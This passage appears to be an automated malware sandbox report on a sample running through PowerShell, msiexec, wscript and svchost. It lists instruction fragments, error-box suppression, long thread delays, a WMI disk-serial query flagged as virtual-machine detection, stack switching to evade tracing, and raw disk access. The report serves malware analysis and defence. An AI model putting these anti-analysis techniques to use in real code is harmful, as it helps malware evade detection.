Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 12_2_093639E5 push ebx; retf	12_2_09363995
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A663AE push 0000001Ch; iretd	19_3_03A663B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A6418C push FFFFFFF9h; retf	19_3_03A64192
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A6CDE6 push edx; retf	19_3_03A6CDE8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A639E5 push ebx; retf	19_3_03A63995
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A66368 push ds; ret	19_3_03A66369
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A63975 push ebx; retf	19_3_03A63995
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 19_3_03A6CF44 push eax; ret	19_3_03A6CF4A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C225D push eax; ret	22_3_007C225F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C6012 push 00000038h; iretd	22_3_007C601D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C5606 pushad ; retf	22_3_007C5619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C28ED push ebx; ret	22_3_007C28E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C18C0 push ebp; retf	22_3_007C18C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C58BC pushad ; ret	22_3_007C58C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C588E push eax; iretd	22_3_007C589D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C1179 push FFFFFF82h; iretd	22_3_007C117B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C4920 push 0000002Eh; iretd	22_3_007C4922
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C5F0C push es; iretd	22_3_007C5F0D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C5FEE push FFFFFFD2h; retf	22_3_007C6011
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C0FEA push eax; ret	22_3_007C0FF5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 22_3_007C278B push ebx; ret	22_3_007C28E4

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Program Files\Windows Media Player\wmpshare.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\System32\dllhost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT caption, serialnumber FROM Win32_DiskDrive

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\msiexec.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 54AB83A

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6560	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3314	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6992	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2622	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 5536	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3968	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7676	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\svchost.exe

Code function: 23_3_00007DF416F90B80 FindFirstFileW,DeleteFileW,FindNextFileW,RemoveDirectoryW,

23_3_00007DF416F90B80

Source: C:\Windows\System32\svchost.exe

Code function: 23_3_00007DF416FFD66C GetSystemInfo,

23_3_00007DF416FFD66C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache	Jump to behavior

